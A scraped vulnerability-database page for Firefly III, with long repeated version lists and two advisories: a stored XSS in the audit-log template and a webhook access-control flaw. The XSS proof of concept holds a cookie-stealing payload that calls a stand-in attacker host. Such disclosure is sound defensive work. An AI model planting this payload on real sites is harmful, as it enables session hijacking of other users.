            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 12, 2025

v6.4.6 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 08, 2025

v6.4.5 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


